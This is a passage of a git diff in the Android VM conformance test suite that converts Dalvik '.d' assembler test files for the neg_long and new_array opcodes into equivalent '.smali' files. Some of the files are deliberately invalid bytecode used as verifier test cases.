+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_3.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v8
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d
deleted file mode 100644
index 98fe8da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_4.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       neg-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali
new file mode 100644
index 0000000..00c9ecf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_4.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d
deleted file mode 100644
index bd3a364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_5.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 8
-
-       neg-long v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali
new file mode 100644
index 0000000..4e5881e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_5.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d
deleted file mode 100644
index a936135..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_6.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 8
-
-       neg-long v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali
new file mode 100644
index 0000000..9330c94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_6.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d
deleted file mode 100644
index 66af380..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_7.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali
new file mode 100644
index 0000000..2257896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_7.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d
deleted file mode 100644
index e681faf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_1.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali
new file mode 100644
index 0000000..6af724b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_1.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d
deleted file mode 100644
index 4c99085..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_10.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 5
-
-       const v0, 3
-       new-array v0, v0, [Ldot/junit/opcodes/new_array/TestStubs;
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali
new file mode 100644
index 0000000..eded354
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_10.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ldot/junit/opcodes/new_array/TestStubs;
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d
deleted file mode 100644
index 3f0b3da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_11.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 5
-
-       const v0, 3
-       new-array v0, v0, [Ljava/lang/ObjectNNN;
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali
new file mode 100644
index 0000000..ae51410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_11.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ljava/lang/ObjectNNN;
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d
deleted file mode 100644
index de7b8dd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_2.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Z
-.limit regs 5
-
-       new-array v0, v4, [Z
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali
new file mode 100644
index 0000000..711de32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_2.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Z
+.registers 5
+
+       new-array v0, v4, [Z
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d
deleted file mode 100644
index d560ca6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_3.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Ljava/lang/Object;
-.limit regs 5
-
-       new-array v0, v4, [Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali
new file mode 100644
index 0000000..6a0a95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_3.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d
deleted file mode 100644
index 2f75ff1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_4.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v5, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali
new file mode 100644
index 0000000..67f0953
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_4.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v5, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d
deleted file mode 100644
index 9ce7d3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_5.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       const-wide v3, 1
-       new-array v0, v3, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali
new file mode 100644
index 0000000..73f27e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_5.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       const-wide v3, 1
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d
deleted file mode 100644
index 885beba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_6.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali
new file mode 100644
index 0000000..d98e0f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_6.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d
deleted file mode 100644
